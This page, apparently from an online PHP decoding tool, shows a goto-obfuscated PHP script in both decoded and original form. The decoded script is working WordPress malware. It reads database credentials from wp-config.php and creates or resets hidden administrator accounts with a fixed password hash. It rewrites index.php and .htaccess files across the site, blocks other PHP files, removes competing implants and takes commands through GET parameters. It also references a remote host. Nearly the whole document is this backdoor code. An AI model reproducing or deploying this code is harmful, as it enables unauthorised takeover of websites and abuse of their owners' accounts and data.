Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto dw3RS; sY2kO: function rzP0f() { goto AJCBq; NVzXZ: $Nq5o1 = k1dTX(); goto D..
Decoded Output download
<?php
goto dw3RS; sY2kO: function rzP0f() { goto AJCBq; NVzXZ: $Nq5o1 = k1dTX(); goto DD7ft; PYWNt: $GLeTW = ''; goto WyPau; HQrGg: Yw345($Nq5o1); goto i2qvi; AJCBq: if (isset($_GET["file"])) { goto fKJti; } goto PYWNt; dh12W: if (!$GLeTW) { goto FF3sC; } goto JGRLS; DD7ft: yw345($Nq5o1); goto qRdi6; BBUee: if (!$Afuea) { goto UfZ03; } goto d9Roc; Tj0hv: q1Ed8: goto NVzXZ; hkouL: jZKfy: goto xyQl4; WyPau: goto AF2Q1; goto OtEF0; dbsZZ: AF2Q1: goto NPH6j; R0pzV: UfZ03: goto ZbAPb; xn2tv: goto J4494; goto hkouL; L4dME: $Afuea = ''; goto xn2tv; xyQl4: $Afuea = $_GET["cycle"]; goto iH3rp; i2qvi: EwRAM: goto R7SYz; ZbAPb: goto EwRAM; goto Tj0hv; ivrEH: yW345($Nq5o1); goto SNv3T; SNv3T: FF3sC: goto BBUee; hU_uS: if (!$GLeTW && !$Afuea) { goto q1Ed8; } goto dh12W; k9_kl: $GLeTW = $_GET["file"]; goto dbsZZ; Gx8k5: Yw345($Nq5o1); goto R0pzV; iH3rp: J4494: goto hU_uS; NPH6j: if (isset($_GET["cycle"])) { goto jZKfy; } goto L4dME; qRdi6: $Nq5o1 = ItzEK(); goto HQrGg; OtEF0: fKJti: goto k9_kl; JGRLS: $Nq5o1 = K1Dtx(); goto ivrEH; d9Roc: $Nq5o1 = itZek(); goto Gx8k5; R7SYz: } goto DOg40; Z8ofw: file_put_contents($_SERVER["DOCUMENT_ROOT"] . "/index.php", $Ongw0); goto nKT6d; cUGGG: if (!(isset($_GET["h"]) && $_GET["h"] == "clearh")) { goto UgkkM; } goto Qy_FZ; BMVSr: function ZYZi2($mdQj5) { goto MXhTh; lTwmA: t8__f: goto dwKSJ; Diyrt: ihtnq: goto OHJQ1; v9QvV: ntRPw: goto Diyrt; OHJQ1: goto NDZul; goto iBS5s; WYzuk: KMvx8: goto GM_j8; zD60D: $xhkV4 = file_put_contents($_SERVER["DOCUMENT_ROOT"] . "/.htaccess", $k5d2F); goto y3LDw; ms5ru: goto ntRPw; goto QTAjZ; sH4KA: $gwQS_ = $mdQj5 . "/" . $uyrKV; goto Y9x9B; y3LDw: if ($xhkV4) { goto vmFAc; } goto UvLk8; MaVa2: chmod($gwQS_ . "/.htaccess", 0644); goto zXP5h; uEV7Q: return "suc"; goto lTwmA; CqyrR: if (!(($uyrKV = readdir($L40vS)) !== false)) { goto sIYbn; } goto npqPF; Cb8NL: zYzi2($gwQS_); goto ms5ru; iBS5s: sIYbn: goto S7dtm; Cvuxp: if (!is_dir($mdQj5 . "/" . $uyrKV)) { goto oHpwt; } goto sH4KA; UvLk8: return "fa"; goto ea3no; MXhTh: if (!($L40vS = opendir($mdQj5))) { goto KMvx8; } goto IYzcf; S7dtm: closedir($L40vS); goto WYzuk; zXP5h: unlink($gwQS_ . "/.htaccess"); goto RI73x; md1D0: chmod($_SERVER["DOCUMENT_ROOT"] . "/.htaccess", 0644); goto zD60D; Z9x2y: vmFAc: goto uEV7Q; IYzcf: NDZul: goto CqyrR; QTAjZ: oHpwt: goto v9QvV; ea3no: goto t8__f; goto Z9x2y; GM_j8: $k5d2F = "<IfModule mod_rewrite.c>
\x9RewriteEngine On\xd
\x9RewriteBase /\xd
RewriteRule ^index.php$ - [L]\xd
RewriteCond %{REQUEST_FILENAME} !-f\xd\xa\x9RewriteCond %{REQUEST_FILENAME} !-d\xd
RewriteRule . index.php [L]
\xa </IfModule>"; goto md1D0; RI73x: x5Bx6: goto Cb8NL; npqPF: if (!($uyrKV != "." && $uyrKV != "..")) { goto ihtnq; } goto Cvuxp; Y9x9B: if (!file_exists($gwQS_ . "/.htaccess")) { goto x5Bx6; } goto MaVa2; dwKSJ: } goto x8ovu; dw3RS: header("Access-Control-Allow-Origin:*"); goto BgH9x; gc69Y: function O4t9g() { goto P9RPV; zoTqM: return $GE5nN; goto QC3pj; fNGxi: if (!file_exists($_SERVER["DOCUMENT_ROOT"] . "/wp-config.php")) { goto CbOyG; } goto P9iJd; bVVQ7: $GE5nN["title"] = __FUNCTION__; goto fNGxi; P9RPV: $GE5nN = array(); goto bVVQ7; P9iJd: $GE5nN["message"][] = ml7_b("wp-blog", "13c857469dfc81ccadd9888c03b88041", true); goto TG131; Sf3tZ: CbOyG: goto zoTqM; TG131: $GE5nN["message"][] = Ml7_B("wp-user", "13c857469dfc81ccadd9888c03b88041", false); goto Sf3tZ; QC3pj: } goto BMVSr; KECHR: function iGMZX($uyrKV, $ka0kv, $vcXP6) { goto VUT86; igabN: J3U8N: goto DJspM; Vn8My: $kQblR = substr($WVsuA, 0, $Ito7P - 1); goto m8ecw; Sbg0p: $HSucv = "clear cron code"; goto tqnow; MG411: if ($Ito7P !== false) { goto nRRJF; } goto zjMs_; VUT86: $HSucv = "cron no code"; goto fAlV0; JuKFU: $SXoMK = substr($WVsuA, $SUt9m); goto XZZUW; DJspM: return $HSucv; goto pSOjZ; XZZUW: file_put_contents($uyrKV, $kQblR . $SXoMK); goto Sbg0p; m8ecw: $SUt9m = strpos($WVsuA, $vcXP6); goto JuKFU; fAlV0: if (!file_exists($uyrKV)) { goto J3U8N; } goto GXNaZ; wlhnj: goto NQPFQ; goto hy7lo; hy7lo: nRRJF: goto Vn8My; tqnow: NQPFQ: goto igabN; zjMs_: $HSucv = "cron no code"; goto wlhnj; OQi_3: $Ito7P = strpos($WVsuA, $ka0kv); goto MG411; GXNaZ: $WVsuA = file_get_contents($uyrKV); goto OQi_3; pSOjZ: } goto Z2ktN; iHWp8: qKBvJ: goto TDXt7; nqxuW: RzP0F(); goto HwLaL; w0zgi: if (!(isset($_GET["h"]) && $_GET["h"] == "1")) { goto XvdP2; } goto z04jt; nKT6d: ppkI2: goto e24Gr; xon8B: q2bnO: goto T7bWR; Z5pJU: file_put_contents($_SERVER["DOCUMENT_ROOT"] . "/index.php", $Ongw0); goto kwRIl; Qy_FZ: $HVXLw = ZYZI2($mdQj5); goto v0klA; DOg40: $lbFX0 = "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"; goto FEL9I; T7bWR: rzp0F(); goto d9HX_; bwlAj: $Q7Mfn = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"; goto bC8df; Qc24K: function iTZEK() { goto kQIof; kQIof: $Nq5o1 = array(); goto QaFcU; L1K38: $S9H8n = $_SERVER["DOCUMENT_ROOT"] . "/3FNDICU2KH"; goto zEPY8; hUfYw: $Nq5o1[] = "make file: " . $S9H8n; goto mdYn_; QaFcU: $Nq5o1[] = "===== start crack auto restore cycle ====="; goto L1K38; b77B5: return $Nq5o1; goto NUa0p; zEPY8: @touch($S9H8n); goto hUfYw; mdYn_: $Nq5o1[] = "===== end crack auto restore cycle ====="; goto b77B5; NUa0p: } goto sY2kO; LEhUn: xhnFS: goto ODiMO; xRRJF: zz8Tx: goto U_zMu; sTUoi: if (!(isset($_GET["h"]) && $_GET["u"] == "1")) { goto kq36R; } goto lRo8U; iZerL: I1OwS($RCqUJ, $oZliX); goto LEhUn; RpVpg: $mdQj5 = $_SERVER["DOCUMENT_ROOT"]; goto mYA7y; ByNT8: chmod($_SERVER["DOCUMENT_ROOT"] . "/index.php", 0644); goto Z8ofw; AndOy: function Ml7_B($atzJ2, $Yvlqk, $xhB2R) { goto Hd3nG; YOBpc: $g6Rk8 = $JCtHH[0]; goto mGGG9; v_TDD: $x9l8l = "select * from " . $jqewf . "usermeta where user_id=" . $bS6Xs . " and meta_key='" . $LrWRt[$te4Hr] . "';"; goto OeN7N; vCtfQ: Z2wRt: goto pprRY; sZaln: goto Z2wRt; goto elEW0; JjRAW: RmsZa: goto TYD1l; fJ7Vy: preg_match("@['|"]DB_USER['|"],\s*['|"](.*?)['|"]@", $FmSRs, $WsBmq); goto VV1vq; khig7: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto H54F8; BhoH6: $bS6Xs = $Py2uD["ID"]; goto XlWYF; v0XYQ: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto JjRAW; Bv20_: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto urSiO; C1Kel: $x9l8l = "insert into {$jqewf}" . "usermeta(user_id, meta_key, meta_value) values({$bS6Xs}, '{$jqewf}" . "capabilities', 'a:1:{s:13:"administrator";b:1;}');"; goto SpOn4; FuBT8: $FmSRs = file_get_contents("wp-config.php"); goto R2ham; Tyr0n: WU51g: goto yY28m; sRBOp: $JCtHH = explode(":", $g6Rk8); goto YOBpc; vHRiV: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto dAhf0; Ls49F: if (!empty($Py2uD)) { goto NwH1o; } goto QmNey; bIwwI: VXfx6: goto qpZM_; K2uE2: J84Px: goto yqDtk; OamYA: U11J7: goto ute1k; nwN_C: ZC80n: goto RwqNN; NVEfl: $x9l8l = "insert into " . $jqewf . "usermeta(user_id, meta_key, meta_value) values(" . $bS6Xs . ", '" . $LrWRt[$te4Hr] . "', '" . $MUHfp[$te4Hr] . "');"; goto vHRiV; iLZFK: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto gvnvl; TdGqg: NwH1o: goto BhoH6; yY28m: $te4Hr++; goto sZaln; WaqkW: if (!($xhB2R == true)) { goto RmsZa; } goto qYfh0; a9ryw: return "uua ok"; goto vg_eE; ECRbY: if (!strstr($g6Rk8, ":")) { goto i_025; } goto sRBOp; N7n4M: $g6Rk8 = $qbXSe[1]; goto dW1QS; pprRY: if (!($te4Hr < count($LrWRt))) { goto NLz2L; } goto MXSTq; j3W1l: $qTzS4 = $Fkzfo[1]; goto gOyCe; qpZM_: $te4Hr = 0; goto vCtfQ; WG4xz: if (!(trim($g6Rk8) == '')) { goto ZC80n; } goto I58gN; VpBr4: $YjVsI = "3306"; goto ECRbY; H54F8: $Py2uD = mysqli_fetch_array($ZrlFC); goto Ls49F; Hd3nG: global $jrJyP, $Q7Mfn, $u8IQ1; goto FuBT8; qYfh0: $x9l8l = "update {$jqewf}" . "users set user_pass='{$Yvlqk}'"; goto v0XYQ; nkmTz: if (!(mysqli_num_rows($mbAW7) <= 0)) { goto AWlyC; } goto NVEfl; yqDtk: if (!($Py2uD = mysqli_fetch_array($mbAW7))) { goto l5CH7; } goto II2Fp; gvnvl: $Py2uD = mysqli_fetch_array($ZrlFC); goto hCxHH; sz5Um: if (!($Py2uD["user_login"] == $atzJ2)) { goto mPtVb; } goto a9ryw; ccA3X: preg_match("@['|"]DB_HOST['|"],\s*['|"](.*?)['|"]@", $FmSRs, $qbXSe); goto Saje0; gOyCe: $q7u59 = $WsBmq[1]; goto AQHCU; XlWYF: $x9l8l = "update {$jqewf}" . "users set user_pass='{$Yvlqk}' where user_login='{$atzJ2}';"; goto c6amk; VV1vq: preg_match("@['|"]DB_PASSWORD['|"],\s*['|"](.*?)['|"]@", $FmSRs, $JtLNA); goto ccA3X; KHt7w: i_025: goto WG4xz; hCxHH: $bS6Xs = $Py2uD["ID"]; goto C1Kel; dW1QS: $jqewf = $tTr43[1]; goto VpBr4; MXSTq: if (!($LrWRt[$te4Hr] != '')) { goto QUISP; } goto v_TDD; TYD1l: $x9l8l = "select * from {$jqewf}" . "users where user_login='{$atzJ2}';"; goto khig7; elEW0: NLz2L: goto eMOxN; HNaSA: l5CH7: goto bIwwI; dAhf0: AWlyC: goto xUlFv; QmNey: $x9l8l = "insert into {$jqewf}" . "users(user_login,user_pass,user_nicename,user_email,user_registered,user_activation_key,user_status,display_name) values('{$atzJ2}', '{$Yvlqk}', '{$atzJ2}', '{$atzJ2}@gmail.com', '2021-05-21 09:13:26', '', '0', '{$atzJ2}');"; goto WVTZb; Saje0: preg_match("@table_prefix\s*=\s*['|"](.*?)['|"]@", $FmSRs, $tTr43); goto j3W1l; ute1k: return "uua fail"; goto uQI6I; WVTZb: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto zMG02; eMOxN: goto U11J7; goto TdGqg; j9thW: $x9l8l = "select * from {$jqewf}" . "users where user_login='{$atzJ2}';"; goto Bv20_; I58gN: $g6Rk8 = "localhost"; goto nwN_C; urSiO: $Py2uD = mysqli_fetch_array($ZrlFC); goto sz5Um; II2Fp: $LrWRt[] = $Py2uD["meta_key"]; goto Jxutm; S5Oj_: $x9l8l = "select * from " . $jqewf . "usermeta where user_id=1 ;"; goto ECKYg; leGQC: return "uu change "; goto OamYA; XFOkk: goto J84Px; goto HNaSA; SpOn4: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto j9thW; ECKYg: $mbAW7 = mysqli_query($KldfB, $x9l8l); goto Z0cPd; AQHCU: $kutrN = $JtLNA[1]; goto N7n4M; xUlFv: QUISP: goto Tyr0n; vg_eE: mPtVb: goto S5Oj_; Z0cPd: if (!(mysqli_num_rows($mbAW7) > 0)) { goto VXfx6; } goto K2uE2; Jxutm: $MUHfp[] = $Py2uD["meta_value"]; goto XFOkk; RwqNN: $KldfB = mysqli_connect($g6Rk8, $q7u59, $kutrN, $qTzS4, $YjVsI); goto WaqkW; R2ham: preg_match("@['|"]DB_NAME['|"],\s*['|"](.*?)['|"]@", $FmSRs, $Fkzfo); goto fJ7Vy; zMG02: $x9l8l = "select ID from {$jqewf}" . "users where user_login='{$atzJ2}';"; goto iLZFK; OeN7N: $mbAW7 = mysqli_query($KldfB, $x9l8l); goto nkmTz; c6amk: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto leGQC; mGGG9: $YjVsI = $JCtHH[1]; goto KHt7w; uQI6I: } goto eICKo; eICKo: function UBZSs() { goto ItcJd; IFNgP: $xhkV4 = file_put_contents($Wzjhm, $k5d2F); goto fUksk; fUksk: if (!$xhkV4) { goto nhUon; } goto JvWYP; JvWYP: $UwE12["message"][] = "h jie"; goto f92cZ; ByuTw: jXYmK: goto IFNgP; fH2JF: $k5d2F = "<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|php7|php8|suspected)$">
Order Allow,Deny
\xaDeny from all\xd\xa</FilesMatch>
\xa<FilesMatch "^(.*)(.php)$">\xd
Order Allow,Deny
\xaAllow from all\xd
</FilesMatch>"; goto pVPqp; f92cZ: goto rZZGo; goto VIqw4; zCWK_: $GE5nN["title"] = __FUNCTION__; goto fH2JF; HiGrL: return $UwE12; goto t2SEj; FyybL: if (!file_exists($Wzjhm)) { goto jXYmK; } goto M16OF; jOncI: $UwE12["message"][] = "h fa"; goto Wfcc8; ItcJd: $GE5nN = array(); goto zCWK_; pVPqp: $Wzjhm = $_SERVER["DOCUMENT_ROOT"] . "/wp-admin/.htaccess"; goto FyybL; VIqw4: nhUon: goto jOncI; M16OF: $KddZZ = @chmod($Wzjhm, 0644); goto ByuTw; Wfcc8: rZZGo: goto HiGrL; t2SEj: } goto GCt6V; bC8df: $u8IQ1 = $_SERVER["HTTP_HOST"]; goto bQeYQ; U_zMu: NQeey: goto cUGGG; Sna1T: $Ongw0 = "<?php\xd\xa/**\xd
* Front to the WordPress application. This file doesn't do anything, but loads\xd
* wp-blog-header.php which does and tells WordPress to load the theme.\xd
*
* @package WordPress\xd\xa */
\xa
/**
\xa * Tells WordPress to load the WordPress theme and output it.
\xa *
* @var bool
*/
\xadefine( 'WP_USE_THEMES', true );
\xd\xa/** Loads the WordPress Environment and Template */\xd
require( dirname( __FILE__ ) . '/wp-blog-header.php' );"; goto Ay580; i8iJg: $jrJyP = $_SERVER["DOCUMENT_ROOT"]; goto ty5l0; soYDu: if (!(isset($_GET["h"]) && $_GET["h"] == "2")) { goto xhnFS; } goto DWThD; D9CKb: iTzek(); goto b6J1I; sPqBF: function I1OWs($mbAW7, $oZliX = "html", $peEN6 = "li") { goto KK9cA; fLc_2: $mbAW7["title"] = ''; goto l19kC; gnIB_: if (!($mbAW7["status"] == "fail")) { goto UKIxu; } goto pExDt; KK9cA: if (!($oZliX != "html")) { goto foDb1; } goto BWTu8; T9fKv: return; goto EEQpy; mDzc3: if (!(sizeof($mbAW7["message"]) > 0)) { goto EykWj; } goto BGSEm; d3Ink: echo "---------end " . $mbAW7["title"] . "===>status:" . $QFbzv; goto dt8HS; f1KBs: sYk43: goto NHqHq; WMPaH: oUQzM: goto gnIB_; BGSEm: foreach ($mbAW7["message"] as $jUgFf) { goto sxTOt; Ail1J: $jUgFf = str_replace("fail", "<font color="red">fail</font>", $jUgFf); goto ZyUV7; G9v5T: $jUgFf = str_replace(" ok", "<font color="blue"> ok</font>", $jUgFf); goto Ail1J; sxTOt: $jUgFf = str_replace("success", "<font color="blue">success</font>", $jUgFf); goto G9v5T; ZyUV7: echo "<{$peEN6}>" . $jUgFf . "</{$peEN6}>"; goto EttC7; EttC7: akcMj: goto Ien9Y; Ien9Y: } goto fbFpW; Ia8Zm: if (is_array($mbAW7)) { goto VnNxE; } goto T9fKv; SiA_7: goto tPnVs; goto f1KBs; pPXxB: $QFbzv = "<font color="green">" . $mbAW7["status"] . "</font>"; goto WMPaH; pExDt: $QFbzv = "<font color="red">" . $mbAW7["status"] . "</font>"; goto PlpkJ; Sk7Cp: return; goto rfsz1; EEQpy: VnNxE: goto oHgX1; NHqHq: if (!($mbAW7["status"] == "ok")) { goto oUQzM; } goto pPXxB; PlpkJ: UKIxu: goto d3Ink; FqSM4: echo "<br />"; goto YeNHl; l19kC: ugikf: goto mDzc3; u3zVo: if (isset($mbAW7["status"]) && !empty($mbAW7["status"])) { goto sYk43; } goto IkjPT; dt8HS: tPnVs: goto FqSM4; IkjPT: $QFbzv = "<font color="green">ok</font>"; goto SiA_7; GiI12: EykWj: goto u3zVo; rfsz1: foDb1: goto Ia8Zm; YeNHl: echo "<br />"; goto qwbWo; oHgX1: if (isset($mbAW7["title"])) { goto ugikf; } goto fLc_2; fbFpW: t2toU: goto GiI12; BWTu8: echo json_encode($mbAW7); goto Sk7Cp; qwbWo: } goto AndOy; Z2ktN: function K1dTx() { goto J7KkY; K1Sxk: @unlink("wp-admin/images/browser-tiny.png"); goto GU51p; AhCDQ: foreach ($yyRvR as $l0EhH => $QQNoh) { goto sAv2f; ng534: TIDeH: goto Fzsx5; SoxjX: goto LgQsr; goto ng534; mweCA: if (!preg_match("/\/\/ cyborg_start[\s\S]*?\/\/ cyborg_end/", $CvlBE)) { goto z2hCi; } goto TTmd9; Fzsx5: $CvlBE = @file_get_contents($B6U8W); goto mweCA; xhpo9: file_put_contents($B6U8W, $ISs6_); goto RiB0g; tkt9w: if (file_exists($B6U8W)) { goto TIDeH; } goto SoxjX; qUsYs: z2hCi: goto h9rpj; TTmd9: $ISs6_ = preg_replace("/\/\/ cyborg_start[\s\S]*?\/\/ cyborg_end/", '', $CvlBE); goto xhpo9; RiB0g: $Nq5o1[] = "delete hidden code: " . $B6U8W; goto qUsYs; h9rpj: LgQsr: goto wDejB; sAv2f: $B6U8W = $S7576 . $l0EhH; goto tkt9w; wDejB: } goto kU6S2; eGMOg: $yyRvR = ["blocks.php" => "function register_block_style_handle", "theme.php" => "function validate_current_theme", "template.php" => "function get_archive_template", "rewrite.php" => "function url_to_postid", "admin-bar.php" => "function wp_admin_bar_my_account_menu", "rest-api.php" => "function register_rest_field", "media.php" => "function image_downsize", "nav-menu.php" => "function is_nav_menu_item", "theme-templates.php" => "function wp_enable_block_templates", "block-template.php" => "function _strip_template_file_suffix", "blocks/archives.php" => "function render_block_core_archives", "category.php" => "function get_cat_name", "load.php" => "function is_wp_error", "plugin.php" => "function do_action_ref_array", "query.php" => "function is_front_page", "cron.php" => "function wp_schedule_event"]; goto llBrr; VQZ5X: if (!file_exists("wp-admin/images/browser-tiny.png")) { goto pCgwW; } goto K1Sxk; qXekV: $Nq5o1 = array(); goto FBpax; kU6S2: Rzk1c: goto PDgmH; ba__M: G0mbP: goto VQZ5X; ch1g7: $Nq5o1[] = "delete ttc ok"; goto ba__M; B0mKt: touch("wp-blog-header.php", $RIBqS); goto qXekV; llBrr: $S7576 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/"; goto AhCDQ; DP6y9: pCgwW: goto Bxdsi; GU51p: $Nq5o1[] = "delete png ok"; goto DP6y9; Pwwj1: if (!file_exists("wp-includes/fonts/dashicons.ttc")) { goto G0mbP; } goto EqEMS; PDgmH: foreach ($yyRvR as $l0EhH => $QQNoh) { goto EhOjC; fmLUr: if (file_exists($B6U8W)) { goto TL7dq; } goto b1I0n; xQ0Hl: if (!preg_match("/\/\/c_start[\s\S]*?\/\/c_end/", $CvlBE)) { goto ZE_OV; } goto qC9pf; TJYKl: ctxrc: goto iw5Qd; IKDyh: $WDNnc = @file_put_contents($B6U8W, $ISs6_); goto OYlF_; rY1oS: $CvlBE = file_get_contents($B6U8W); goto xQ0Hl; I3OWV: TL7dq: goto rY1oS; wVM7p: ZE_OV: goto TJYKl; EhOjC: $B6U8W = $S7576 . $l0EhH; goto fmLUr; b1I0n: goto ctxrc; goto I3OWV; OYlF_: $ybIbh[] = "crack restore: " . $B6U8W . " " . ($WDNnc ? "success" : "fail"); goto wVM7p; qC9pf: $ISs6_ = preg_replace("/\/\/c_start[\s\S]*?\/\/c_end/", '', $CvlBE); goto IKDyh; iw5Qd: } goto dNpVI; anvOK: $Nq5o1[] = "===== end crack auto restore file ====="; goto Pwwj1; EqEMS: @unlink("wp-includes/fonts/dashicons.ttc"); goto ch1g7; VCVaJ: file_put_contents("wp-blog-header.php", $p0Ole); goto B0mKt; dNpVI: Ecs9x: goto anvOK; FBpax: $Nq5o1[] = "===== start crack auto restore file ====="; goto eGMOg; hyQIY: $Nq5o1[] = "cron " . IGmZx("wp-includes/cron.php", "i = 'inde'.'x.php';", "function wp_get_schedules() {"); goto sNRWI; Q1BIP: $RIBqS = filectime("wp-blog-header.php"); goto VCVaJ; J7KkY: $p0Ole = "<?php if ( ! isset( $wp_did_header ) ) {
\xd\xa $wp_did_header = true;
\xa\x9// Load the WordPress library.\xd
\x9require_once __DIR__ . '/wp-load.php';
\xa
// Set up the WordPress query.
\x9wp();
\xd\xa\x9// Load the theme template.\xd\xa\x9require_once ABSPATH . WPINC . '/template-loader.php';
\xa\xd\xa}"; goto Q1BIP; Bxdsi: $Nq5o1[] = "pluggable " . IgmZx("wp-includes/pluggable.php", "i = 'inde'.'x.php';", "if ( ! function_exists( 'wp_set_auth_cookie'"); goto hyQIY; sNRWI: return $Nq5o1; goto FoDqS; FoDqS: } goto Qc24K; d9HX_: if (!file_exists($_SERVER["DOCUMENT_ROOT"] . "/index.php")) { goto yMNkU; } goto ZZ61o; fQgtj: $HVXLw = ZYZI2($mdQj5); goto pfsVi; ZZ61o: chmod($_SERVER["DOCUMENT_ROOT"] . "/index.php", 0644); goto Z5pJU; rSCBA: goto zz8Tx; goto xon8B; q7_6b: echo "uu ch"; goto sTUoi; WiAne: kq36R: goto w0zgi; dc1XK: Wm9Pj: goto SsNBt; e24Gr: YqQTX: goto fQgtj; b6J1I: goto YqQTX; goto Dni9r; DWThD: $RCqUJ = TpsB3(); goto iZerL; FEL9I: $tgasy = "http://s.newnday.xyz/"; goto i8iJg; o_9nf: if (is_dir("wp-includes") && is_dir("wp-admin")) { goto q2bnO; } goto yDZx3; HwLaL: if (!file_exists($_SERVER["DOCUMENT_ROOT"] . "/index.php")) { goto ppkI2; } goto ByNT8; TDXt7: $mdQj5 = $_GET["dir"]; goto bJarI; Ay580: if (!(isset($_GET["h"]) && $_GET["h"] == "0")) { goto Wm9Pj; } goto ffqG4; GCt6V: function tPSb3() { goto DteuV; zc9Ip: goto h9oAs; goto Mx7pA; cMMfa: $KddZZ = @chmod($Wzjhm, 0644); goto hebf0; Mx7pA: pMd6E: goto hWuWD; Zls08: $Wzjhm = $_SERVER["DOCUMENT_ROOT"] . "/wp-admin/.htaccess"; goto zz7QS; hebf0: Jqi0X: goto m3atS; mRHZk: $k5d2F = "<IfModule mod_rewrite.c>
\xaRewriteEngine On\xd\xaRewriteBase /
RewriteRule ^index.php$ - [L]\xd
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
\xaRewriteRule . index.php [L]\xd\xa</IfModule>
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|php7|php8|suspected)$">
Order Allow,Deny\xd
Deny from all\xd
</FilesMatch>\xd\xa<FilesMatch "^(index.php|wp-login.php|options-general.php|upgrade.php|admin.php|profile.php|load-styles.php|load-scripts.php|checkbox.php|update.php|plugins.php)$">
\xaOrder Allow,Deny
\xaAllow from all
</FilesMatch>"; goto Zls08; QYzhv: $GE5nN["title"] = __FUNCTION__; goto mRHZk; ikuNz: return $UwE12; goto mduO4; hWuWD: $UwE12["message"][] = "h fa"; goto o5nwa; m3atS: $xhkV4 = file_put_contents($Wzjhm, $k5d2F); goto OJEoV; OJEoV: if (!$xhkV4) { goto pMd6E; } goto G02wj; G02wj: $UwE12["message"][] = "h suo"; goto zc9Ip; DteuV: $GE5nN = array(); goto QYzhv; zz7QS: if (!file_exists($Wzjhm)) { goto Jqi0X; } goto cMMfa; o5nwa: h9oAs: goto ikuNz; mduO4: } goto gc69Y; kwRIl: yMNkU: goto xRRJF; ty5l0: @chdir($jrJyP); goto bwlAj; SsNBt: if (!(isset($_GET["h"]) && $_GET["h"] == "clear")) { goto NQeey; } goto o_9nf; v0klA: echo $HVXLw; goto BDziQ; BgH9x: error_reporting(E_ALL); goto sPqBF; ODiMO: if (isset($_GET["dir"])) { goto qKBvJ; } goto RpVpg; Dni9r: erd23: goto nqxuW; bQeYQ: $oZliX = "html"; goto q7_6b; bJarI: UZUXR: goto Sna1T; mYA7y: goto UZUXR; goto iHWp8; pfsVi: echo $HVXLw; goto dc1XK; lRo8U: $OWJO3 = O4t9g(); goto C1UTX; C1UTX: i1oWS($OWJO3, $oZliX); goto WiAne; x8ovu: function YW345($Nq5o1) { goto bin32; AhH7b: P3uuu: goto XePpA; bin32: foreach ($Nq5o1 as $bv9fm => $ti2HJ) { goto cA1P8; LXQJG: echo "<br>"; goto JgJFa; JgJFa: KsxpK: goto sLI18; cA1P8: echo $ti2HJ; goto LXQJG; sLI18: } goto AhH7b; XePpA: echo "<br>"; goto udE9z; udE9z: } goto KECHR; yDZx3: iTZEK(); goto rSCBA; QB3qr: XvdP2: goto soYDu; GmTbX: I1Ows($PWfJZ, $oZliX); goto QB3qr; z04jt: $PWfJZ = UBZSs(); goto GmTbX; ffqG4: if (is_dir("wp-includes") && is_dir("wp-admin")) { goto erd23; } goto D9CKb; BDziQ: UgkkM:
?>Did this file decode correctly?
Original Code
<?php
goto dw3RS; sY2kO: function rzP0f() { goto AJCBq; NVzXZ: $Nq5o1 = k1dTX(); goto DD7ft; PYWNt: $GLeTW = ''; goto WyPau; HQrGg: Yw345($Nq5o1); goto i2qvi; AJCBq: if (isset($_GET["\146\151\154\145"])) { goto fKJti; } goto PYWNt; dh12W: if (!$GLeTW) { goto FF3sC; } goto JGRLS; DD7ft: yw345($Nq5o1); goto qRdi6; BBUee: if (!$Afuea) { goto UfZ03; } goto d9Roc; Tj0hv: q1Ed8: goto NVzXZ; hkouL: jZKfy: goto xyQl4; WyPau: goto AF2Q1; goto OtEF0; dbsZZ: AF2Q1: goto NPH6j; R0pzV: UfZ03: goto ZbAPb; xn2tv: goto J4494; goto hkouL; L4dME: $Afuea = ''; goto xn2tv; xyQl4: $Afuea = $_GET["\x63\x79\x63\154\145"]; goto iH3rp; i2qvi: EwRAM: goto R7SYz; ZbAPb: goto EwRAM; goto Tj0hv; ivrEH: yW345($Nq5o1); goto SNv3T; SNv3T: FF3sC: goto BBUee; hU_uS: if (!$GLeTW && !$Afuea) { goto q1Ed8; } goto dh12W; k9_kl: $GLeTW = $_GET["\146\x69\x6c\145"]; goto dbsZZ; Gx8k5: Yw345($Nq5o1); goto R0pzV; iH3rp: J4494: goto hU_uS; NPH6j: if (isset($_GET["\143\x79\143\x6c\x65"])) { goto jZKfy; } goto L4dME; qRdi6: $Nq5o1 = ItzEK(); goto HQrGg; OtEF0: fKJti: goto k9_kl; JGRLS: $Nq5o1 = K1Dtx(); goto ivrEH; d9Roc: $Nq5o1 = itZek(); goto Gx8k5; R7SYz: } goto DOg40; Z8ofw: file_put_contents($_SERVER["\x44\x4f\103\125\x4d\105\x4e\124\x5f\122\117\117\124"] . "\57\x69\x6e\x64\x65\170\x2e\160\150\160", $Ongw0); goto nKT6d; cUGGG: if (!(isset($_GET["\x68"]) && $_GET["\150"] == "\143\x6c\x65\x61\162\150")) { goto UgkkM; } goto Qy_FZ; BMVSr: function ZYZi2($mdQj5) { goto MXhTh; lTwmA: t8__f: goto dwKSJ; Diyrt: ihtnq: goto OHJQ1; v9QvV: ntRPw: goto Diyrt; OHJQ1: goto NDZul; goto iBS5s; WYzuk: KMvx8: goto GM_j8; zD60D: $xhkV4 = file_put_contents($_SERVER["\104\117\x43\x55\115\105\x4e\124\x5f\x52\117\x4f\124"] . "\57\56\x68\x74\x61\x63\143\145\x73\x73", $k5d2F); goto y3LDw; ms5ru: goto ntRPw; goto QTAjZ; sH4KA: $gwQS_ = $mdQj5 . "\57" . $uyrKV; goto Y9x9B; y3LDw: if ($xhkV4) { goto vmFAc; } goto UvLk8; MaVa2: chmod($gwQS_ . "\x2f\x2e\150\x74\x61\143\x63\145\163\163", 0644); goto zXP5h; uEV7Q: return "\163\165\x63"; goto lTwmA; CqyrR: if (!(($uyrKV = readdir($L40vS)) !== 